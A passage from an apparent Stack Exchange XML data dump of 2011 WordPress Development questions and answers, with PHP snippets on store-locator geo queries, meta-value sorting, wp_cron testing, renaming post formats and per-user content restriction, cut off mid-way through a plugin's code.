  <row Id="14440" PostTypeId="1" CreationDate="2011-04-10T20:11:46.480" Score="0" ViewCount="108" Body="&lt;p&gt;So there is a wonderful example of using Google maps for a store locator here:  &lt;a href=&quot;http://code.google.com/apis/maps/articles/phpsqlsearch_v3.html&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/apis/maps/articles/phpsqlsearch_v3.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example uses a simple table with 3 columns-  address, latitude, longitude.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to integrate this in wordpress using Custom Post type for each new location, and i've successfully been able to save the address, latitude, and longitude value as meta data along with each new custom post.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i'm having a hard time doing is pulling this data/Query to convert to XML the same way that the google example provides.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice to just keep all the data inside WordPress custom posts without creating an entire seperate table to handle it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the standard example query:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Search the rows in the markers table&#xA;$query = sprintf(&quot;SELECT address, name, lat, lng, ( 3959 * acos( cos( radians('%s') ) * cos( radians( lat ) ) * cos( radians( lng ) - radians('%s') ) + sin( radians('%s') ) * sin( radians( lat ) ) ) ) AS distance FROM markers HAVING distance &amp;lt; '%s' ORDER BY distance LIMIT 0 , 20&quot;,&#xA;  mysql_real_escape_string($center_lat),&#xA;  mysql_real_escape_string($center_lng),&#xA;  mysql_real_escape_string($center_lat),&#xA;  mysql_real_escape_string($radius));&#xA;$result = mysql_query($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would you approach mimicking this to work within wordpress CPT meta data?&lt;/p&gt;&#xA;" OwnerUserId="2811" LastActivityDate="2011-04-10T20:11:46.480" Title="How would you use Meta Value to mimic this Google Maps Query?" Tags="&lt;custom-post-types&gt;&lt;mysql&gt;&lt;metabox&gt;&lt;customization&gt;&lt;post-meta&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="14441" PostTypeId="1" AcceptedAnswerId="14443" CreationDate="2011-04-10T20:30:22.263" Score="0" ViewCount="26" Body="&lt;p&gt;I've created a page that includes a size such as 5x10 since the given term is something people often Google for, together with some other words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress is converting 5x10 to: &lt;strong&gt;&lt;em&gt;&amp;amp; # 2 1 5 ;&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA;(without the spaces)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose that there are places where this feature would be useful but in my case it's hindering my SEO efforts.&lt;/p&gt;&#xA;" OwnerUserId="4576" LastActivityDate="2011-04-10T20:44:53.570" Title="'x' Converted to html code in example: 5x10" Tags="&lt;page&gt;" AnswerCount="1" />
  <row Id="14442" PostTypeId="2" ParentId="14135" CreationDate="2011-04-10T20:36:07.710" Score="0" ViewCount="" Body="&lt;p&gt;Here is how I accomplished this using only one custom field. Instead of using &quot;Stars&quot; or &quot;Hearts&quot; as the custom field name and &quot;1&quot;, &quot;2&quot;, &quot;3&quot;, etc. as the value, I used &quot;Rating&quot; as the name and &quot;1 star&quot;, &quot;2 stars&quot;, &quot;3 stars&quot;, etc. (or hearts instead of stars) as the value. Since the unit of measurement is 0 thru 5 for both hearts and stars, I can sort by just the one custom field value of Rating and then parse out the value for display. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;// setup the query&#xA;$args='&amp;amp;posts_per_page='.$con_review_num.'&amp;amp;post_type=con_movie_reviews&amp;amp;paged='.$paged.'&amp;amp;order=DESC&amp;amp;orderby='.$feedsort.'&amp;amp;meta_key=Rating';&#xA;&#xA;$review_loop = new WP_Query($args);&#xA;&#xA;if ($review_loop-&amp;gt;have_posts()) : while ($review_loop-&amp;gt;have_posts()) : $review_loop-&amp;gt;the_post(); $postcount++;&#xA;&#xA;    // get the custom field value&#xA;    $rating = get_post_meta($post-&amp;gt;ID, &quot;Rating&quot;, $single = true);&#xA;&#xA;    $unit = &quot;star&quot;; //default unit is star          &#xA;    if(strpos($rating,&quot; Hearts&quot;) || strpos($rating,&quot; hearts&quot;) || strpos($rating,&quot; Heart&quot;) || strpos($rating,&quot; heart&quot;)) {&#xA;    $unit = &quot;heart&quot;; //find out if we're using hearts instead of stars&#xA;    }&#xA;    // extract just the number from the rating meta key&#xA;    $rating = trim(str_replace(&quot; star&quot;,&quot;&quot;,str_replace(&quot; stars&quot;,&quot;&quot;,str_replace(&quot; Star&quot;,&quot;&quot;,str_replace(&quot; Stars&quot;,&quot;&quot;,str_replace(&quot; heart&quot;,&quot;&quot;,str_replace(&quot; hearts&quot;,&quot;&quot;,str_replace(&quot; Heart&quot;,&quot;&quot;,str_replace(&quot; Hearts&quot;,&quot;&quot;,$rating)))))))));&#xA;    if($stars) { // are we using stars or hearts?&#xA;        $rating = $stars;&#xA;        $unit = &quot;star&quot;;&#xA;    } elseif($hearts) {&#xA;        $rating = $hearts;&#xA;        $unit = &quot;heart&quot;;&#xA;    }   &#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;stars tooltip&quot; title=&quot;&amp;lt;?php echo $rating; ?&amp;gt; / 5 &amp;lt;?php echo $overall; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;&amp;lt;?php echo $unit; ?&amp;gt;&amp;lt;?php if($rating&amp;gt;=1) { ?&amp;gt; full&amp;lt;?php } elseif($rating&amp;gt;0) { ?&amp;gt; half&amp;lt;?php } ?&amp;gt;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;&amp;lt;?php echo $unit; ?&amp;gt;&amp;lt;?php if($rating&amp;gt;=2) { ?&amp;gt; full&amp;lt;?php } elseif($rating&amp;gt;1) { ?&amp;gt; half&amp;lt;?php } ?&amp;gt;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;&amp;lt;?php echo $unit; ?&amp;gt;&amp;lt;?php if($rating&amp;gt;=3) { ?&amp;gt; full&amp;lt;?php } elseif($rating&amp;gt;2) { ?&amp;gt; half&amp;lt;?php } ?&amp;gt;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;&amp;lt;?php echo $unit; ?&amp;gt;&amp;lt;?php if($rating&amp;gt;=4) { ?&amp;gt; full&amp;lt;?php } elseif($rating&amp;gt;3) { ?&amp;gt; half&amp;lt;?php } ?&amp;gt;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;&amp;lt;?php echo $unit; ?&amp;gt;&amp;lt;?php if($rating&amp;gt;=5) { ?&amp;gt; full&amp;lt;?php } elseif($rating&amp;gt;4) { ?&amp;gt; half&amp;lt;?php } ?&amp;gt;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php &#xA;&#xA;}&#xA;endwhile;&#xA;endif;                  &#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="274" LastActivityDate="2011-04-10T20:36:07.710" />
  <row Id="14443" PostTypeId="2" ParentId="14441" CreationDate="2011-04-10T20:44:53.570" Score="1" ViewCount="" Body="&lt;p&gt;This is performed by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wptexturize&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wptexturize()&lt;/code&gt;&lt;/a&gt;. Unfortunately it saves replacement lists as static variables which you can't modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remove &lt;code&gt;wptexturize&lt;/code&gt; filter from related hook (depends on where you have that replacement done).&lt;/li&gt;&#xA;&lt;li&gt;Write and add your own filter that will replace converted symbol back.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-04-10T20:44:53.570" CommentCount="1" />
  <row Id="14444" PostTypeId="1" AcceptedAnswerId="14452" CreationDate="2011-04-10T20:55:48.783" Score="0" ViewCount="219" Body="&lt;p&gt;Since WP 3.1, it's been possible to use Tumblr-style &lt;a href=&quot;http://codex.wordpress.org/Post_Formats&quot; rel=&quot;nofollow&quot;&gt;post formats&lt;/a&gt;. I want to use the 'aside' option in a theme, but I want it to have a different title in the WP admin area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, when a user is writing a post, they have the option for the post to be, say, either 'Standard' or 'Quick' -- rather than 'Standard' or 'Aside'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this without modifying the core? It'd be great if it's something that could be pretty easily done via functions.php or the like. I live in hope...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2666" LastActivityDate="2011-04-11T20:46:02.883" Title="Is it possible to rename a post format?" Tags="&lt;functions&gt;&lt;post-formats&gt;" AnswerCount="3" />
  <row Id="14445" PostTypeId="1" CreationDate="2011-04-10T21:17:04.113" Score="0" ViewCount="336" Body="&lt;p&gt;I have a site that displays the content only to registered users.&#xA;Most of the content is available to all the users, but some of it is user specific (i.e. all users have that page, but each sees a it's own content which no one else can see).&#xA;Any idea as to how I can restrict(and display) specific content per specific user ?&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-28T12:21:20.440" LastActivityDate="2011-05-28T12:21:20.440" Title="How do I display a user specific content?" Tags="&lt;wpse-plugin&gt;&lt;content-control&gt;&lt;content-restriction&gt;" AnswerCount="3" />
  <row Id="14446" PostTypeId="1" AcceptedAnswerId="14462" CreationDate="2011-04-10T21:27:26.187" Score="2" ViewCount="155" Body="&lt;p&gt;This is kind of a stupid question...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I scheduled a action to run every hour:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!wp_next_scheduled('my_hourly_events'))&#xA;  wp_schedule_event(time(), 'hourly', 'my_hourly_events');&#xA;&#xA;add_action('my_hourly_events', 'the_function_to_run');&#xA;&#xA;function the_function_to_run(){&#xA;   echo 'it works!'; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I test if this works without waiting an hour? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding &lt;code&gt;wp_clear_scheduled_hook('my_hourly_events');&lt;/code&gt; before this code and adding &lt;code&gt;wp_cron()&lt;/code&gt; after, but I don't see my function running...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ok, I added a &lt;code&gt;trigger_error()&lt;/code&gt; inside my function, checked out the apache error log, and it's there :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now I'm even more confused:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How can the wp-cron run in the background? because apparently that's what happens if I see no output...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;this doesn't seem to work in a object context; why?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-04-10T23:13:20.187" LastActivityDate="2011-04-11T05:37:26.187" Title="How to test wp_cron?" Tags="&lt;events&gt;&lt;actions&gt;&lt;cron&gt;&lt;wp-cron&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="14447" PostTypeId="2" ParentId="14135" CreationDate="2011-04-10T21:32:04.193" Score="1" ViewCount="" Body="&lt;p&gt;I had the same problem and could not find a way to make this work with wp_query alone.  Instead, I caught the posts_clauses filter and stuck my order_by there. This also meant doing a few joins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you set a function to catch the posts_clauses (or one of the more restrictive query filters; but let's just use this for now), and then within that JOIN to the post_meta table for the fields you need, then order by them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important thing is to set up something to then remove the query filter.  You could do it at the end of the function that catches it, but I have it separate in my plugin, so I'm going to stick with that.  The 'wp' event works fine here.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_clauses', 'filterMarkets')&#xA;add_filter('wp', 'removeQueryFilter');&#xA;&#xA;public static function removeQueryFilter() {&#xA;  remove_filter('posts_clauses', 'filterMarkets');&#xA;}&#xA;&#xA;public static function filterMarkets($clauses, $wp_query) {&#xA;global $wpdb;&#xA;&#xA;$clauses['join'] .=&amp;lt;&amp;lt;&amp;lt;SQL&#xA;JOIN {$wpdb-&amp;gt;postmeta} AS title_meta ON title_meta.post_id = {$wpdb-&amp;gt;posts}.ID AND&#xA;title_meta.meta_key = 'fest_sortby'&#xA;JOIN {$wpdb-&amp;gt;postmeta} AS start_date_meta ON start_date_meta.post_id = {$wpdb-&amp;gt;posts}.ID&#xA;AND start_date_meta.meta_key = 'fest_market_start_date'&#xA;SQL;&#xA;&#xA;  $clauses['orderby'] .= &quot; title_meta.meta_value ASC&quot;;&#xA;  $clauses['orderby'] .= &quot; start_date_meta.meta_value ASC&quot;;&#xA;}&#xA;return $clauses;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="3708" LastActivityDate="2011-04-10T21:32:04.193" CommentCount="1" />
  <row Id="14448" PostTypeId="2" ParentId="14445" CreationDate="2011-04-10T21:42:12.843" Score="1" ViewCount="" Body="&lt;p&gt;Assuming this content is the usual post loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_user = wp_get_current_user();&#xA;if(get_the_author_meta('ID') === $current_user-&amp;gt;ID):&#xA;&#xA;  // show the content&#xA;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this only works inside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need it outside the loop then just query posts from &lt;code&gt;$current_user-&amp;gt;ID&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query('author' =&amp;gt; $current_user-&amp;gt;ID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-04-10T21:42:12.843" CommentCount="4" />
  <row Id="14449" PostTypeId="2" ParentId="14437" CreationDate="2011-04-10T22:08:04.933" Score="1" ViewCount="" Body="&lt;p&gt;Modify your array definition with something like this to add a new element of the array that specify the type of the field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;project_overview&quot; =&amp;gt; array(&#xA;    &quot;name&quot; =&amp;gt; &quot;project_overview&quot;,&#xA;    &quot;title&quot; =&amp;gt; &quot;Overview&quot;,&#xA;    &quot;description&quot; =&amp;gt; &quot;Write an overview of the project.&quot;,&#xA;    &quot;type&quot;=&amp;gt;&quot;textarea&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your code substitute&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $meta_box[ 'name' ]; ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo htmlspecialchars( $data[ $meta_box[ 'name' ] ] ); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? if ( $meta_box['type'] == 'textarea') { ?&#xA;   &amp;lt;textarea name=&quot;&amp;lt;?php echo $meta_box[ 'name' ]; ?&amp;gt;&quot;&amp;gt;&#xA;   &amp;lt;?php echo htmlspecialchars( $data[ $meta_box[ 'name' ] ] ); ?&amp;gt;&#xA;   &amp;lt;/textarea&amp;gt; &#xA;} &#xA;else  { ?&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;&amp;lt;?php echo $meta_box[ 'name' ]; ?&amp;gt;&quot; &#xA;   value=&quot;&amp;lt;?php echo      htmlspecialchars( $data[ $meta_box[ 'name' ] ] ); ?&amp;gt;&quot; /&amp;gt;&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is better that you wrap the piece of code above in a function, like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function print_meta_box ( $meta_box ) {&#xA;  switch (meta_box ['type'] ) {&#xA;      case 'textarea':&#xA;            .... your code ...&#xA;            break;&#xA;      default:&#xA;  }  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-04-10T22:08:04.933" />
  <row Id="14450" PostTypeId="2" ParentId="14445" CreationDate="2011-04-10T22:31:09.727" Score="1" ViewCount="" Body="&lt;p&gt;In addidtion to what One Trick Pony wrote, if the site owner needs the ability to restrict the content to each user, you can develop a small custom meta box that will appear inside each post and will display checkboxes with the site's users and then you will have in your dayabse the needed post_meta of the users that have permission to the content and you could make the condition.&#xA;If you need another way of controlling the content, it's  better you provide some more specific details on how this should and needed to be handled, so it will be easier to think for appropriate solutions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck :)&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-04-10T22:31:09.727" />
  <row Id="14451" PostTypeId="1" AcceptedAnswerId="14458" CreationDate="2011-04-10T22:57:22.367" Score="4" ViewCount="324" Body="&lt;p&gt;I have post type 'product' and hierarchical taxonomy 'types' attached to it. In this taxonomy, I have terms: 'dry-clean', 'washer', etc. With several sub terms on each terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my situation, I need to display, eg:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/types/washer&quot; rel=&quot;nofollow&quot;&gt;http://example.com/types/washer&lt;/a&gt; -&gt; display all sub terms on it&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://example.com/types/washer/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/types/washer/&lt;/a&gt;{subterm} -&gt; display all posts on it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My questions is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do I get permalink URL for parent terms? I try URL above, but it result in 404.&lt;/li&gt;&#xA;&lt;li&gt;How the template files work for that kind of problem?&#xA;&lt;ol&gt;&#xA;&lt;li&gt;is &lt;code&gt;taxonomy-types-washer.php&lt;/code&gt; enough for case #1? or should I create &lt;code&gt;taxonomy-types.php&lt;/code&gt; and create the logic there?&lt;/li&gt;&#xA;&lt;li&gt;in my mind, after scanning &lt;a href=&quot;http://codex.wordpress.org/images/1/18/Template_Hierarchy.png&quot; rel=&quot;nofollow&quot;&gt;template hierarchy&lt;/a&gt;, I might need &lt;code&gt;taxonomy-types-{term_parent}.php&lt;/code&gt; to list all sub terms and &lt;code&gt;taxonomy-types.php&lt;/code&gt; to list all product in sub terms.&lt;/li&gt;&#xA;&lt;li&gt;ultimately, to display each product, I will have to create &lt;code&gt;single-product.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;On a slightly unrelated problem. I find that &lt;code&gt;archive-{posttype}.php&lt;/code&gt; doesn't work when I don't have any post on it. Is there any solution for this? (&lt;em&gt;should I create different question, or stick with this one&lt;/em&gt;)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked my &lt;code&gt;rewrite_rules&lt;/code&gt; options and it doesn't list [types] at all. I don't know why. To test it, I change my slug into &lt;code&gt;product-types&lt;/code&gt;, flush permalink and it list this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[product-types/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?types=$matches[1]&amp;amp;feed=$matches[2]&#xA;[product-types/([^/]+)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?types=$matches[1]&amp;amp;feed=$matches[2]&#xA;[product-types/([^/]+)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?types=$matches[1]&amp;amp;paged=$matches[2]&#xA;[product-types/([^/]+)/?$] =&amp;gt; index.php?types=$matches[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I guess it's registered now. I try to load URL &lt;code&gt;product-types/washer&lt;/code&gt; it goes to 404. I try to load URL &lt;code&gt;index.php?types=washer&lt;/code&gt;. It too, goes 404. Right now, I have this files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;taxonomy-types-washer.php&lt;/li&gt;&#xA;&lt;li&gt;taxonomy-types.php&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, I don't know what's wrong with this one :(.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE #2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find the problem. It's because I missed &lt;code&gt;'rewrite'=&amp;gt;array('hierarchical'=&amp;gt;true)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the new &lt;code&gt;rewrite_rules&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[product-types/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?types=$matches[1]&amp;amp;feed=$matches[2]&#xA;[product-types/(.+?)/(feed|rdf|rss|rss2|atom)/?$] =&amp;gt; index.php?types=$matches[1]&amp;amp;feed=$matches[2]&#xA;[product-types/(.+?)/page/?([0-9]{1,})/?$] =&amp;gt; index.php?types=$matches[1]&amp;amp;paged=$matches[2]&#xA;[product-types/(.+?)/?$] =&amp;gt; index.php?types=$matches[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="127" LastEditorUserId="127" LastEditorDisplayName="" LastEditDate="2011-04-11T20:01:45.867" LastActivityDate="2011-04-11T20:01:45.867" Title="Taxonomy, Terms, and Template Files" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;templates&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="14452" PostTypeId="2" ParentId="14444" CreationDate="2011-04-10T23:54:53.777" Score="2" ViewCount="" Body="&lt;p&gt;I think this is the only way for now. Put this in your &lt;em&gt;functions.php&lt;/em&gt; in your theme folder or create a simple plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function rename_post_formats( $safe_text ) {&#xA;    if ( $safe_text == 'Aside' )&#xA;        return 'Quick';&#xA;&#xA;    return $safe_text;&#xA;}&#xA;add_filter( 'esc_html', 'rename_post_formats' );&#xA;&#xA;//rename Aside in posts list table&#xA;function live_rename_formats() { &#xA;    global $current_screen;&#xA;&#xA;    if ( $current_screen-&amp;gt;id == 'edit-post' ) { ?&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery('document').ready(function() {&#xA;&#xA;            jQuery(&quot;span.post-state-format&quot;).each(function() { &#xA;                if ( jQuery(this).text() == &quot;Aside&quot; )&#xA;                    jQuery(this).text(&quot;Quick&quot;);             &#xA;            });&#xA;&#xA;        });      &#xA;        &amp;lt;/script&amp;gt;&#xA;&amp;lt;?php }&#xA;}&#xA;add_action('admin_head', 'live_rename_formats');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2011-04-10T23:54:53.777" />
  <row Id="14453" PostTypeId="2" ParentId="14341" CreationDate="2011-04-11T00:14:41.060" Score="1" ViewCount="" Body="&lt;p&gt;There is no point in switching to another theme when the category page is loaded because it is actually just the another page of your site which could be customized through the &lt;a href=&quot;http://codex.wordpress.org/Category_Templates&quot; rel=&quot;nofollow&quot;&gt;theme category template&lt;/a&gt;. I suppose you can use &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_Category_Page&quot; rel=&quot;nofollow&quot;&gt;conditional tags for categories&lt;/a&gt; to customize your header and footer too or load custom CSS style sheet. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_category('your-category') ) { ?&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo( 'stylesheet_directory' ); ?&amp;gt;/my-category-style.css&quot; /&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo( 'stylesheet_url' ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2515" LastActivityDate="2011-04-11T00:14:41.060" />
  <row Id="14454" PostTypeId="2" ParentId="14444" CreationDate="2011-04-11T01:42:24.707" Score="3" ViewCount="" Body="&lt;p&gt;The correct method would be to &lt;em&gt;register a custom taxonomy&lt;/em&gt;, and not use core Post Formats at all.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-11T01:42:24.707" />
  <row Id="14455" PostTypeId="2" ParentId="14445" CreationDate="2011-04-11T01:47:55.267" Score="2" ViewCount="" Body="&lt;p&gt;I had coded something like this a while back and i remember wanting to upload it to the plugin repository but never had the time, Basically it adds a meta box to the post or page edit screen and lets the user select specific users by name or roles and then it check using &lt;code&gt;the_content&lt;/code&gt; filter, so here you go:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It just got approved in to WordPress plugin repository so you can download it &lt;a href=&quot;http://wordpress.org/extend/plugins/user-specific-content/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;User specific content&lt;/strong&gt;&lt;/a&gt; form there or from your dashboard and &lt;a href=&quot;http://en.bainternet.info/2011/user-specific-content-plugin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;i wrote a little about it here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/zcAx7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: User Specific Content&#xA;Plugin URI: http://en.bainternet.info&#xA;Description: This Plugin allows you to select specific users by user name, or by role name who can view a  specific post content or page content.&#xA;Version: 0.1&#xA;Author: Bainternet&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;/* Define the custom box */&#xA;add_action('add_meta_boxes', 'User_specific_content_box');&#xA;&#xA;/* Adds a box to the main column on the custom post type edit screens */&#xA;function User_specific_content_box() {&#xA;    add_meta_box('User_specific_content', __( 'User specific content box'),'User_specific_content_box_inner','post');&#xA;    add_meta_box('User_specific_content', __( 'User specific content box'),'User_specific_content_box_inner','post');&#xA;}&#xA;&#xA;/* Prints the box content */&#xA;function User_specific_content_box_inner() {&#xA;    global $post,$wp_roles;&#xA;    $savedroles = get_post_meta($post-&amp;gt;ID, 'U_S_C_roles',true);&#xA;    //var_dump($savedroles);&#xA;    $savedusers = get_post_meta($post-&amp;gt;ID, 'U_S_C_users',true);&#xA;    //var_dump($savedusers);&#xA;    // Use nonce for verification&#xA;    wp_nonce_field( plugin_basename(__FILE__), 'User_specific_content_box_inner' );&#xA;    echo __('Select users to show this content to');&#xA;    echo '&amp;lt;h4&amp;gt;'.__('By User Role:').'&amp;lt;/h4&amp;gt;';&#xA;    if ( !isset( $wp_roles ) )&#xA;        $wp_roles = new WP_Roles();&#xA;    foreach ( $wp_roles-&amp;gt;role_names as $role =&amp;gt; $name ) {&#xA;        echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;U_S_C_roles[]&quot; value=&quot;'.$name.'&quot;';&#xA;        if (in_array($name,$savedroles)){&#xA;            echo ' checked';&#xA;        }&#xA;        echo '&amp;gt;'.$name.'    ';&#xA;    }&#xA;    echo '&amp;lt;h4&amp;gt;'.__('By User Name:').'&amp;lt;/h4&amp;gt;';&#xA;    $blogusers = get_users('blog_id=1&amp;amp;orderby=nicename');&#xA;    $usercount = 0;&#xA;    foreach ($blogusers as $user) {&#xA;        echo '&amp;lt;input type=&quot;checkbox&quot; name=&quot;U_S_C_users[]&quot; value=&quot;'.$user-&amp;gt;ID.'&quot;';&#xA;        if (in_array($user-&amp;gt;ID,$savedusers)){&#xA;            echo ' checked';&#xA;        }&#xA;        echo '&amp;gt;'.$user-&amp;gt;display_name.'    